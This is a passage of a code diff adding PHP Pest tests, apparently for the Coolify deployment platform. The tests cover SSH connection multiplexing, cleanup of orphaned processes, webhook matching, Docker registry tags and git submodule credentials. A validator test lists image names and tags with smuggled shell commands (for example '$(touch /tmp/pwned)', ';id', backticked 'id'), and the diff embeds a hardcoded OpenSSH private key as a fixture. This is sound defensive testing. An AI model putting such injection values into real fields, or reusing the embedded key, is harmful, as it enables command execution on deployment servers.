->not->toContain("@click=\"setTheme('light'); dropdownOpen = false\"")
|
||||
->not->toContain("@click=\"setTheme('system'); dropdownOpen = false\"");
|
||||
});
|
||||
|
||||
it('opens and closes the changelog modal state', function () {
|
||||
$component = new SettingsDropdown;
|
||||
$component->trigger = 'changelog-sidebar';
|
||||
|
||||
expect($component->trigger)->toBe('changelog-sidebar')
|
||||
->and($component->showWhatsNewModal)->toBeFalse();
|
||||
|
||||
$component->openWhatsNewModal();
|
||||
|
||||
expect($component->showWhatsNewModal)->toBeTrue();
|
||||
|
||||
$component->closeWhatsNewModal();
|
||||
|
||||
expect($component->showWhatsNewModal)->toBeFalse();
|
||||
});
|
||||
|
||||
it('uses the default button palette for the changelog fetch action in light mode', function () {
|
||||
$dropdownView = file_get_contents(resource_path('views/livewire/settings-dropdown.blade.php'));
|
||||
|
||||
expect($dropdownView)
|
||||
->toContain('wire:click="manualFetchChangelog"')
|
||||
->not->toContain('bg-coolgray-200 hover:bg-coolgray-300');
|
||||
});
|
||||
@@ -1,17 +1,19 @@
|
||||
<?php
|
||||
|
||||
use App\Helpers\SshMultiplexingHelper;
|
||||
use App\Jobs\CleanupStaleMultiplexedConnections;
|
||||
use App\Models\PrivateKey;
|
||||
use App\Models\Server;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\File;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
/**
|
||||
* SSH multiplexing now relies on OpenSSH's native lazy ControlMaster handling.
|
||||
* Coolify should add mux options to real ssh/scp commands, but must not pre-warm
|
||||
* background masters with separate `ssh -fN` processes.
|
||||
* Tests for the explicit per-server mux lock that prevents concurrent workers
|
||||
* from racing on initial ControlMaster creation.
|
||||
*/
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
@@ -20,12 +22,18 @@ function makeMuxServer(): Server
|
||||
$user = User::factory()->create();
|
||||
$team = $user->teams()->first();
|
||||
|
||||
$privateKeyContent = "-----BEGIN OPENSSH PRIVATE KEY-----\n".
|
||||
"b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW\n".
|
||||
"QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk\n".
|
||||
"hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA\n".
|
||||
"AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV\n".
|
||||
"uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==\n".
|
||||
$privateKeyContent = '-----BEGIN OPENSSH PRIVATE KEY-----
|
||||
'.
|
||||
'b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
|
||||
'.
|
||||
'QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
|
||||
'.
|
||||
'hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
|
||||
'.
|
||||
'AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
|
||||
'.
|
||||
'uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
|
||||
'.
|
||||
'-----END OPENSSH PRIVATE KEY-----';
|
||||
|
||||
$privateKey = PrivateKey::create([
|
||||
@@ -37,74 +45,92 @@ function makeMuxServer(): Server
|
||||
Storage::fake('ssh-keys');
|
||||
Storage::disk('ssh-keys')->put("ssh_key@{$privateKey->uuid}", $privateKeyContent);
|
||||
|
||||
return Server::factory()->create([
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'private_key_id' => $privateKey->id,
|
||||
]);
|
||||
|
||||
Storage::disk('ssh-keys')->put("ssh_key@{$server->privateKey->uuid}", $server->privateKey->private_key);
|
||||
|
||||
return $server;
|
||||
}
|
||||
|
||||
it('does not prewarm a background ssh master', function () {
|
||||
it('establishes a master with ssh -fN and never the orphan-prone ssh -fNM', function () {
|
||||
config(['constants.ssh.mux_enabled' => true]);
|
||||
$server = makeMuxServer();
|
||||
|
||||
Process::fake();
|
||||
Process::fake([
|
||||
'*-O check*' => Process::result(exitCode: 1),
|
||||
'*-fN *' => Process::result(exitCode: 0),
|
||||
]);
|
||||
|
||||
expect(SshMultiplexingHelper::ensureMultiplexedConnection($server))->toBeTrue();
|
||||
|
||||
Process::assertNothingRan();
|
||||
Process::assertRan(fn ($process) => str_contains($process->command, 'ssh -fN ')
|
||||
&& ! str_contains($process->command, 'ssh -fNM'));
|
||||
});
|
||||
|
||||
it('adds native openssh multiplexing options to ssh commands', function () {
|
||||
config(['constants.ssh.mux_enabled' => true]);
|
||||
$server = makeMuxServer();
|
||||
Storage::disk('ssh-keys')->put("ssh_key@{$server->privateKey->uuid}", $server->privateKey->private_key);
|
||||
|
||||
Process::fake();
|
||||
|
||||
$command = SshMultiplexingHelper::generateSshCommand($server, 'echo ok');
|
||||
|
||||
expect($command)
|
||||
->toContain('-o ControlMaster=auto')
|
||||
->toContain("-o ControlPath=/var/www/html/storage/app/ssh/mux/mux_{$server->uuid}")
|
||||
->toContain('-o ControlPersist=3600')
|
||||
->not->toContain('-O check')
|
||||
->not->toContain('ssh -fN');
|
||||
|
||||
Process::assertNothingRan();
|
||||
});
|
||||
|
||||
it('omits native multiplexing options when ssh multiplexing is disabled for a command', function () {
|
||||
config(['constants.ssh.mux_enabled' => true]);
|
||||
$server = makeMuxServer();
|
||||
Storage::disk('ssh-keys')->put("ssh_key@{$server->privateKey->uuid}", $server->privateKey->private_key);
|
||||
|
||||
$command = SshMultiplexingHelper::generateSshCommand($server, 'echo ok', disableMultiplexing: true);
|
||||
|
||||
expect($command)
|
||||
->not->toContain('-o ControlMaster=auto')
|
||||
->not->toContain('-o ControlPath=')
|
||||
->not->toContain('-o ControlPersist=');
|
||||
});
|
||||
|
||||
it('adds native openssh multiplexing options to scp commands', function () {
|
||||
config(['constants.ssh.mux_enabled' => true]);
|
||||
it('reuses an existing healthy master without spawning a new one', function () {
|
||||
config([
|
||||
'constants.ssh.mux_enabled' => true,
|
||||
'constants.ssh.mux_health_check_enabled' => true,
|
||||
]);
|
||||
$server = makeMuxServer();
|
||||
|
||||
Process::fake();
|
||||
Process::fake([
|
||||
'*-O check*' => Process::result(exitCode: 0),
|
||||
'*health_check_ok*' => Process::result(output: 'health_check_ok', exitCode: 0),
|
||||
]);
|
||||
|
||||
$command = SshMultiplexingHelper::generateScpCommand($server, '/tmp/source', '/tmp/dest');
|
||||
expect(SshMultiplexingHelper::ensureMultiplexedConnection($server))->toBeTrue();
|
||||
|
||||
expect($command)
|
||||
->toContain('-o ControlMaster=auto')
|
||||
->toContain("-o ControlPath=/var/www/html/storage/app/ssh/mux/mux_{$server->uuid}")
|
||||
->toContain('-o ControlPersist=3600')
|
||||
->not->toContain('-O check')
|
||||
->not->toContain('ssh -fN');
|
||||
|
||||
Process::assertNothingRan();
|
||||
Process::assertNotRan(fn ($process) => str_contains($process->command, 'ssh -fN'));
|
||||
});
|
||||
|
||||
it('returns false and runs no process when multiplexing is globally disabled', function () {
|
||||
it('refreshes an expired master before reuse', function () {
|
||||
config([
|
||||
'constants.ssh.mux_enabled' => true,
|
||||
'constants.ssh.mux_health_check_enabled' => false,
|
||||
'constants.ssh.mux_max_age' => 10,
|
||||
]);
|
||||
$server = makeMuxServer();
|
||||
Cache::put("ssh_mux_connection_time_{$server->uuid}", time() - 30, 3600);
|
||||
|
||||
Process::fake([
|
||||
'*-O check*' => Process::result(exitCode: 0),
|
||||
'*-O exit*' => Process::result(exitCode: 0),
|
||||
'*-fN *' => Process::result(exitCode: 0),
|
||||
]);
|
||||
|
||||
expect(SshMultiplexingHelper::ensureMultiplexedConnection($server))->toBeTrue();
|
||||
|
||||
Process::assertRan(fn ($process) => str_contains($process->command, 'ssh -O exit'));
|
||||
Process::assertRan(fn ($process) => str_contains($process->command, 'ssh -fN '));
|
||||
});
|
||||
|
||||
it('does not spawn a master when the per-server lock is already held', function () {
|
||||
config([
|
||||
'constants.ssh.mux_enabled' => true,
|
||||
'constants.ssh.mux_lock_timeout' => 0,
|
||||
]);
|
||||
$server = makeMuxServer();
|
||||
|
||||
Process::fake([
|
||||
'*-O check*' => Process::result(exitCode: 1),
|
||||
]);
|
||||
|
||||
$lockKey = 'ssh_mux_lock_'.(gethostname() ?: 'unknown').'_'.$server->uuid;
|
||||
$held = Cache::lock($lockKey, 30);
|
||||
expect($held->get())->toBeTrue();
|
||||
|
||||
expect(SshMultiplexingHelper::ensureMultiplexedConnection($server))->toBeFalse();
|
||||
|
||||
Process::assertNotRan(fn ($process) => str_contains($process->command, 'ssh -fN '));
|
||||
|
||||
$held->release();
|
||||
});
|
||||
|
||||
it('returns false and runs no ssh when multiplexing is disabled', function () {
|
||||
config(['constants.ssh.mux_enabled' => false]);
|
||||
$server = makeMuxServer();
|
||||
|
||||
@@ -114,3 +140,182 @@ it('returns false and runs no process when multiplexing is globally disabled', f
|
||||
|
||||
Process::assertNothingRan();
|
||||
});
|
||||
|
||||
it('adds mux options to ssh commands only after the explicit master is ready', function () {
|
||||
config(['constants.ssh.mux_enabled' => true]);
|
||||
$server = makeMuxServer();
|
||||
|
||||
Process::fake([
|
||||
'*-O check*' => Process::result(exitCode: 1),
|
||||
'*-fN *' => Process::result(exitCode: 0),
|
||||
]);
|
||||
|
||||
$command = SshMultiplexingHelper::generateSshCommand($server, 'echo ok');
|
||||
|
||||
expect($command)
|
||||
->toContain('-o ControlMaster=auto')
|
||||
->toContain("-o ControlPath=/var/www/html/storage/app/ssh/mux/mux_{$server->uuid}")
|
||||
->toContain('-o ControlPersist=3600')
|
||||
->toContain("'bash -se' << \\")
|
||||
->not->toContain('<< $delimiter');
|
||||
|
||||
Process::assertRan(fn ($process) => str_contains($process->command, 'ssh -fN '));
|
||||
});
|
||||
|
||||
it('can generate terminal ssh commands without a hard command timeout', function () {
|
||||
config(['constants.ssh.mux_enabled' => false]);
|
||||
$server = makeMuxServer();
|
||||
|
||||
$command = SshMultiplexingHelper::generateSshCommand($server, 'echo ok', commandTimeout: 0);
|
||||
|
||||
expect($command)
|
||||
->toStartWith('ssh ')
|
||||
->not->toStartWith('timeout ')
|
||||
->not->toContain('timeout 3600 ssh');
|
||||
});
|
||||
|
||||
it('omits multiplexing options and setup when disabled for a command', function () {
|
||||
config(['constants.ssh.mux_enabled' => true]);
|
||||
$server = makeMuxServer();
|
||||
|
||||
Process::fake();
|
||||
|
||||
$command = SshMultiplexingHelper::generateSshCommand($server, 'echo ok', disableMultiplexing: true);
|
||||
|
||||
expect($command)
|
||||
->not->toContain('-o ControlMaster=auto')
|
||||
->not->toContain('-o ControlPath=')
|
||||
->not->toContain('-o ControlPersist=');
|
||||
|
||||
Process::assertNothingRan();
|
||||
});
|
||||
|
||||
it('adds mux options to scp commands only after the explicit master is ready', function () {
|
||||
config(['constants.ssh.mux_enabled' => true]);
|
||||
$server = makeMuxServer();
|
||||
|
||||
Process::fake([
|
||||
'*-O check*' => Process::result(exitCode: 1),
|
||||
'*-fN *' => Process::result(exitCode: 0),
|
||||
]);
|
||||
|
||||
$command = SshMultiplexingHelper::generateScpCommand($server, '/tmp/source', '/tmp/dest');
|
||||
|
||||
expect($command)
|
||||
->toContain('-o ControlMaster=auto')
|
||||
->toContain("-o ControlPath=/var/www/html/storage/app/ssh/mux/mux_{$server->uuid}")
|
||||
->toContain('-o ControlPersist=3600');
|
||||
|
||||
Process::assertRan(fn ($process) => str_contains($process->command, 'ssh -fN '));
|
||||
});
|
||||
|
||||
it('kills only old orphaned ssh masters whose control socket no longer exists', function () {
|
||||
config(['constants.ssh.mux_orphan_reap_enabled' => true]);
|
||||
$muxDir = storage_path('app/ssh/mux');
|
||||
File::ensureDirectoryExists($muxDir);
|
||||
|
||||
$liveSocket = $muxDir.'/mux_live_'.uniqid();
|
||||
$orphanSocket = $muxDir.'/mux_orphan_'.uniqid();
|
||||
$youngSocket = $muxDir.'/mux_young_'.uniqid();
|
||||
File::put($liveSocket, 'x');
|
||||
|
||||
Process::fake([
|
||||
'ps*' => Process::result(output: "111 1 5000 ssh -fN -o ControlMaster=auto -o ControlPath={$liveSocket} root@1.2.3.4
|
||||
".
|
||||
"222 1 5000 ssh -fN -o ControlMaster=auto -o ControlPath={$orphanSocket} root@1.2.3.4
|
||||
".
|
||||
"333 1 30 ssh -fN -o ControlMaster=auto -o ControlPath={$youngSocket} root@1.2.3.4
|
||||
"),
|
||||
'kill*' => Process::result(exitCode: 0),
|
||||
]);
|
||||
|
||||
$job = new CleanupStaleMultiplexedConnections;
|
||||
$method = new ReflectionMethod($job, 'cleanupOrphanedSshProcesses');
|
||||
$method->setAccessible(true);
|
||||
$method->invoke($job);
|
||||
|
||||
Process::assertRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '222'));
|
||||
Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '111'));
|
||||
Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '333'));
|
||||
|
||||
File::delete($liveSocket);
|
||||
});
|
||||
|
||||
it('kills only old orphaned cloudflared proxies whose parent ssh is gone', function () {
|
||||
config(['constants.ssh.mux_orphan_reap_enabled' => true]);
|
||||
|
||||
Process::fake([
|
||||
'ps*' => Process::result(output: '100 1 5000 ssh -fN -o ControlMaster=auto root@1.2.3.4
|
||||
'.
|
||||
'200 100 5000 cloudflared access ssh --hostname host.example.com
|
||||
'.
|
||||
'300 2176 5000 cloudflared access ssh --hostname host.example.com
|
||||
'.
|
||||
'400 2176 30 cloudflared access ssh --hostname host.example.com
|
||||
'.
|
||||
'2176 1 9000 /usr/bin/some-supervisor
|
||||
'),
|
||||
'kill*' => Process::result(exitCode: 0),
|
||||
]);
|
||||
|
||||
$job = new CleanupStaleMultiplexedConnections;
|
||||
$method = new ReflectionMethod($job, 'cleanupOrphanedCloudflaredProcesses');
|
||||
$method->setAccessible(true);
|
||||
$method->invoke($job);
|
||||
|
||||
Process::assertRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '300'));
|
||||
Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '200'));
|
||||
Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill') && str_contains($process->command, '400'));
|
||||
});
|
||||
|
||||
it('dry-run mode logs orphans but kills nothing when reaping is disabled', function () {
|
||||
config(['constants.ssh.mux_orphan_reap_enabled' => false]);
|
||||
$muxDir = storage_path('app/ssh/mux');
|
||||
File::ensureDirectoryExists($muxDir);
|
||||
|
||||
$orphanSocket = $muxDir.'/mux_orphan_'.uniqid();
|
||||
|
||||
Process::fake([
|
||||
'ps*' => Process::result(output: "222 1 5000 ssh -fN -o ControlMaster=auto -o ControlPath={$orphanSocket} root@1.2.3.4
|
||||
"),
|
||||
'kill*' => Process::result(exitCode: 0),
|
||||
]);
|
||||
|
||||
$job = new CleanupStaleMultiplexedConnections;
|
||||
$method = new ReflectionMethod($job, 'cleanupOrphanedSshProcesses');
|
||||
$method->setAccessible(true);
|
||||
$method->invoke($job);
|
||||
|
||||
Process::assertNotRan(fn ($process) => str_contains($process->command, 'kill'));
|
||||
});
|
||||
|
||||
it('removes mux files for non-existent servers when reaping is enabled', function () {
|
||||
config(['constants.ssh.mux_orphan_reap_enabled' => true]);
|
||||
Storage::fake('ssh-mux');
|
||||
$file = 'mux_ghost'.uniqid();
|
||||
Storage::disk('ssh-mux')->put($file, 'x');
|
||||
Process::fake();
|
||||
|
||||
$job = new CleanupStaleMultiplexedConnections;
|
||||
$method = new ReflectionMethod($job, 'cleanupNonExistentServerConnections');
|
||||
$method->setAccessible(true);
|
||||
$method->invoke($job);
|
||||
|
||||
expect(Storage::disk('ssh-mux')->exists($file))->toBeFalse();
|
||||
});
|
||||
|
||||
it('keeps mux files for non-existent servers in dry-run mode', function () {
|
||||
config(['constants.ssh.mux_orphan_reap_enabled' => false]);
|
||||
Storage::fake('ssh-mux');
|
||||
$file = 'mux_ghost'.uniqid();
|
||||
Storage::disk('ssh-mux')->put($file, 'x');
|
||||
Process::fake();
|
||||
|
||||
$job = new CleanupStaleMultiplexedConnections;
|
||||
$method = new ReflectionMethod($job, 'cleanupNonExistentServerConnections');
|
||||
$method->setAccessible(true);
|
||||
$method->invoke($job);
|
||||
|
||||
expect(Storage::disk('ssh-mux')->exists($file))->toBeTrue();
|
||||
Process::assertNothingRan();
|
||||
});
|
||||
@@ -509,6 +509,48 @@ describe('Manual Webhook Repository Matching', function () {
|
||||
expect($response->getContent())->not->toContain('No applications found');
|
||||
});
|
||||
|
||||
test('gitlab matches scp-style ssh repository URL with custom port', function () {
|
||||
$app = createApplicationWithWebhook(overrides: [
|
||||
'git_repository' => 'git@gitlab.example.com:2222/services/xyz.git',
|
||||
'git_branch' => 'master',
|
||||
]);
|
||||
$secret = $app->manual_webhook_secret_gitlab;
|
||||
|
||||
$response = $this->postJson('/webhooks/source/gitlab/events/manual', [
|
||||
'object_kind' => 'push',
|
||||
'ref' => 'refs/heads/master',
|
||||
'project' => ['path_with_namespace' => 'services/xyz'],
|
||||
'after' => 'abc123',
|
||||
'commits' => [],
|
||||
], [
|
||||
'X-Gitlab-Token' => $secret,
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
expect($response->getContent())->not->toContain('No applications found');
|
||||
});
|
||||
|
||||
test('gitlab matches scp-style ssh repository URL without port', function () {
|
||||
$app = createApplicationWithWebhook(overrides: [
|
||||
'git_repository' => 'git@gitlab.example.com:services/xyz.git',
|
||||
'git_branch' => 'master',
|
||||
]);
|
||||
$secret = $app->manual_webhook_secret_gitlab;
|
||||
|
||||
$response = $this->postJson('/webhooks/source/gitlab/events/manual', [
|
||||
'object_kind' => 'push',
|
||||
'ref' => 'refs/heads/master',
|
||||
'project' => ['path_with_namespace' => 'services/xyz'],
|
||||
'after' => 'abc123',
|
||||
'commits' => [],
|
||||
], [
|
||||
'X-Gitlab-Token' => $secret,
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
expect($response->getContent())->not->toContain('No applications found');
|
||||
});
|
||||
|
||||
test('github matches repository case-insensitively', function () {
|
||||
$app = createApplicationWithWebhook(overrides: [
|
||||
'git_repository' => 'https://github.com/Test-Org/Test-Repo.git',
|
||||
|
||||
@@ -447,6 +447,15 @@ it('container prune excludes persistent resource types', function () {
|
||||
expect($sourceFile)->toContain('label=coolify.managed=true');
|
||||
});
|
||||
|
||||
it('uses persisted buildx metadata when pruning the railpack builder', function () {
|
||||
$sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php');
|
||||
|
||||
expect($sourceFile)
|
||||
->toContain('docker run --rm -v \\$HOME/.docker/buildx:/root/.docker/buildx')
|
||||
->toContain('docker buildx prune --builder coolify-railpack -af')
|
||||
->not->toContain('--buildkitd-flags');
|
||||
});
|
||||
|
||||
it('preserves build image for currently running tag', function () {
|
||||
$images = collect([
|
||||
['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
|
||||
|
||||
@@ -0,0 +1,11 @@
|
||||
<?php
|
||||
|
||||
it('persists buildx metadata between the helper container and host cleanup', function () {
|
||||
$sourceFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
|
||||
|
||||
expect($sourceFile)
|
||||
->toContain('mkdir -p {$this->serverUserHomeDir}/.docker/buildx')
|
||||
->toContain('-v {$this->serverUserHomeDir}/.docker/buildx:/root/.docker/buildx');
|
||||
|
||||
expect(substr_count($sourceFile, '{$buildxMetadataVolume} -v /var/run/docker.sock:/var/run/docker.sock'))->toBe(3);
|
||||
});
|
||||
@@ -74,3 +74,60 @@ it('falls back to latest when neither preview nor application tags are set', fun
|
||||
|
||||
expect($method->invoke($job))->toBe('latest');
|
||||
});
|
||||
|
||||
function makeDockerRegistryTagPushJob(int $pullRequestId, ?string $dockerRegistryImageTag): object
|
||||
{
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$job = $reflection->newInstanceWithoutConstructor();
|
||||
|
||||
$pullRequestProperty = $reflection->getProperty('pull_request_id');
|
||||
$pullRequestProperty->setAccessible(true);
|
||||
$pullRequestProperty->setValue($job, $pullRequestId);
|
||||
|
||||
$applicationProperty = $reflection->getProperty('application');
|
||||
$applicationProperty->setAccessible(true);
|
||||
$applicationProperty->setValue($job, new Application([
|
||||
'docker_registry_image_tag' => $dockerRegistryImageTag,
|
||||
]));
|
||||
|
||||
return $job;
|
||||
}
|
||||
|
||||
it('pushes the configured docker registry image tag for production deployments', function () {
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$job = makeDockerRegistryTagPushJob(
|
||||
pullRequestId: 0,
|
||||
dockerRegistryImageTag: 'latest',
|
||||
);
|
||||
|
||||
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
|
||||
$method->setAccessible(true);
|
||||
|
||||
expect($method->invoke($job))->toBeTrue();
|
||||
});
|
||||
|
||||
it('skips the configured docker registry image tag for preview deployments', function () {
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$job = makeDockerRegistryTagPushJob(
|
||||
pullRequestId: 42,
|
||||
dockerRegistryImageTag: 'latest',
|
||||
);
|
||||
|
||||
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
|
||||
$method->setAccessible(true);
|
||||
|
||||
expect($method->invoke($job))->toBeFalse();
|
||||
});
|
||||
|
||||
it('skips pushing a configured docker registry image tag when no tag is set', function () {
|
||||
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$job = makeDockerRegistryTagPushJob(
|
||||
pullRequestId: 0,
|
||||
dockerRegistryImageTag: null,
|
||||
);
|
||||
|
||||
$method = $reflection->getMethod('shouldPushDockerRegistryImageTag');
|
||||
$method->setAccessible(true);
|
||||
|
||||
expect($method->invoke($job))->toBeFalse();
|
||||
});
|
||||
@@ -0,0 +1,109 @@
|
||||
<?php
|
||||
|
||||
use App\Exceptions\DeploymentException;
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Rules\DockerImageFormat;
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
it('accepts valid docker registry image names', function (string $imageName) {
|
||||
expect(ValidationPatterns::isValidDockerImageName($imageName))->toBeTrue();
|
||||
})->with([
|
||||
'single component' => 'nginx',
|
||||
'namespace image' => 'library/nginx',
|
||||
'ghcr image' => 'ghcr.io/coollabsio/coolify',
|
||||
'repository component with repeated hyphens' => 'ghcr.io/acme/my--service',
|
||||
'registry with port' => 'registry.example.com:5000/team/app',
|
||||
'digest marker used by existing dockerimage records' => 'nginx@sha256',
|
||||
]);
|
||||
|
||||
it('rejects docker registry image names with shell metacharacters', function (string $imageName) {
|
||||
expect(ValidationPatterns::isValidDockerImageName($imageName))->toBeFalse();
|
||||
})->with([
|
||||
'command substitution' => 'coolify/poc$(touch /tmp/pwned)',
|
||||
'semicolon' => 'coolify/poc;id',
|
||||
'backticks' => 'coolify/poc`id`',
|
||||
'pipe' => 'coolify/poc|id',
|
||||
'logical and' => 'coolify/poc&&id',
|
||||
'newline' => "coolify/poc\nid",
|
||||
'space' => 'coolify/poc image',
|
||||
'tag in image-name-only field' => 'coolify/poc:latest',
|
||||
]);
|
||||
|
||||
it('accepts valid docker registry image tags', function (string $tag) {
|
||||
expect(ValidationPatterns::isValidDockerImageTag($tag))->toBeTrue();
|
||||
})->with([
|
||||
'latest' => 'latest',
|
||||
'version' => 'v1.2.3',
|
||||
'uppercase and underscore' => 'PR_123',
|
||||
'sha256 hash' => '1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
|
||||
'legacy sha256 prefixed hash' => 'sha256-1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
|
||||
]);
|
||||
|
||||
it('rejects docker registry image tags with shell metacharacters', function (string $tag) {
|
||||
expect(ValidationPatterns::isValidDockerImageTag($tag))->toBeFalse();
|
||||
})->with([
|
||||
'command substitution' => 'latest$(touch /tmp/pwned)',
|
||||
'semicolon' => 'latest;id',
|
||||
'backticks' => 'latest`id`',
|
||||
'pipe' => 'latest|id',
|
||||
'logical and' => 'latest&&id',
|
||||
'newline' => "latest\nid",
|
||||
]);
|
||||
|
||||
it('accepts supported full docker image reference formats', function (string $imageReference) {
|
||||
$failures = [];
|
||||
|
||||
(new DockerImageFormat)->validate('image', $imageReference, function (string $message) use (&$failures): void {
|
||||
$failures[] = $message;
|
||||
});
|
||||
|
||||
expect($failures)->toBeEmpty();
|
||||
})->with([
|
||||
'image with tag' => 'nginx:latest',
|
||||
'registry image with tag' => 'ghcr.io/user/app:v1.2.3',
|
||||
'image with sha256 digest' => 'nginx@sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
|
||||
'registry image with sha256 digest' => 'ghcr.io/user/app@sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
|
||||
'registry port image with tag' => 'localhost:5000/app:latest',
|
||||
]);
|
||||
|
||||
it('rejects unsupported full docker image reference formats', function (string $imageReference) {
|
||||
$failures = [];
|
||||
|
||||
(new DockerImageFormat)->validate('image', $imageReference, function (string $message) use (&$failures): void {
|
||||
$failures[] = $message;
|
||||
});
|
||||
|
||||
expect($failures)->not->toBeEmpty();
|
||||
})->with([
|
||||
'colon sha256 marker' => 'nginx:sha256:1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef',
|
||||
'command substitution' => 'nginx:latest$(touch /tmp/pwned)',
|
||||
'newline' => "nginx:latest\nid",
|
||||
]);
|
||||
|
||||
it('stops deployments when a stored docker registry image value is unsafe', function () {
|
||||
$job = (new ReflectionClass(ApplicationDeploymentJob::class))->newInstanceWithoutConstructor();
|
||||
|
||||
$application = new Application([
|
||||
'docker_registry_image_name' => 'coolify/poc$(touch /tmp/pwned)',
|
||||
'docker_registry_image_tag' => 'latest',
|
||||
]);
|
||||
$deploymentQueue = new ApplicationDeploymentQueue([
|
||||
'docker_registry_image_tag' => null,
|
||||
]);
|
||||
|
||||
$jobReflection = new ReflectionClass($job);
|
||||
foreach ([
|
||||
'application' => $application,
|
||||
'application_deployment_queue' => $deploymentQueue,
|
||||
'dockerImagePreviewTag' => null,
|
||||
] as $property => $value) {
|
||||
$reflectionProperty = $jobReflection->getProperty($property);
|
||||
$reflectionProperty->setValue($job, $value);
|
||||
}
|
||||
|
||||
$method = $jobReflection->getMethod('validateDockerRegistryImageConfiguration');
|
||||
|
||||
expect(fn () => $method->invoke($job))->toThrow(DeploymentException::class);
|
||||
});
|
||||
@@ -0,0 +1,49 @@
|
||||
<?php
|
||||
|
||||
namespace App\Models {
|
||||
function generateGithubInstallationToken(GithubApp $source): string
|
||||
{
|
||||
return 'review token/with+symbols';
|
||||
}
|
||||
}
|
||||
|
||||
namespace {
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationSetting;
|
||||
use App\Models\GithubApp;
|
||||
|
||||
test('private github app submodule credentials use per command git config', function () {
|
||||
$application = new Application;
|
||||
$application->forceFill([
|
||||
'uuid' => 'test-app-uuid',
|
||||
'git_repository' => 'coollabsio/private-app',
|
||||
'git_branch' => 'main',
|
||||
'git_commit_sha' => 'HEAD',
|
||||
]);
|
||||
|
||||
$settings = new ApplicationSetting;
|
||||
$settings->is_git_shallow_clone_enabled = false;
|
||||
$settings->is_git_submodules_enabled = true;
|
||||
$settings->is_git_lfs_enabled = false;
|
||||
$application->setRelation('settings', $settings);
|
||||
|
||||
$source = new GithubApp;
|
||||
$source->forceFill([
|
||||
'html_url' => 'https://github.com',
|
||||
'api_url' => 'https://api.github.com',
|
||||
'is_public' => false,
|
||||
]);
|
||||
$application->setRelation('source', $source);
|
||||
|
||||
$result = $application->generateGitImportCommands(
|
||||
deployment_uuid: 'test-deployment',
|
||||
exec_in_docker: false,
|
||||
);
|
||||
|
||||
expect($result['commands'])
|
||||
->not->toContain('git config --global')
|
||||
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' clone --recurse-submodules -b 'main'")
|
||||
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' submodule sync")
|
||||
->toContain("git -c 'url.https://x-access-token:review%20token%2Fwith%2Bsymbols@github.com/.insteadOf=https://github.com/' submodule update --init --recursive");
|
||||
});
|
||||
}
|
||||
@@ -0,0 +1,168 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationSetting;
|
||||
use App\Models\GitlabApp;
|
||||
use App\Models\PrivateKey;
|
||||
|
||||
describe('Git submodule credential propagation', function () {
|
||||
beforeEach(function () {
|
||||
$this->application = new Application;
|
||||
$this->application->forceFill([
|
||||
'uuid' => 'test-app-uuid',
|
||||
'git_commit_sha' => 'HEAD',
|
||||
]);
|
||||
|
||||
$settings = new ApplicationSetting;
|
||||
$settings->is_git_shallow_clone_enabled = false;
|
||||
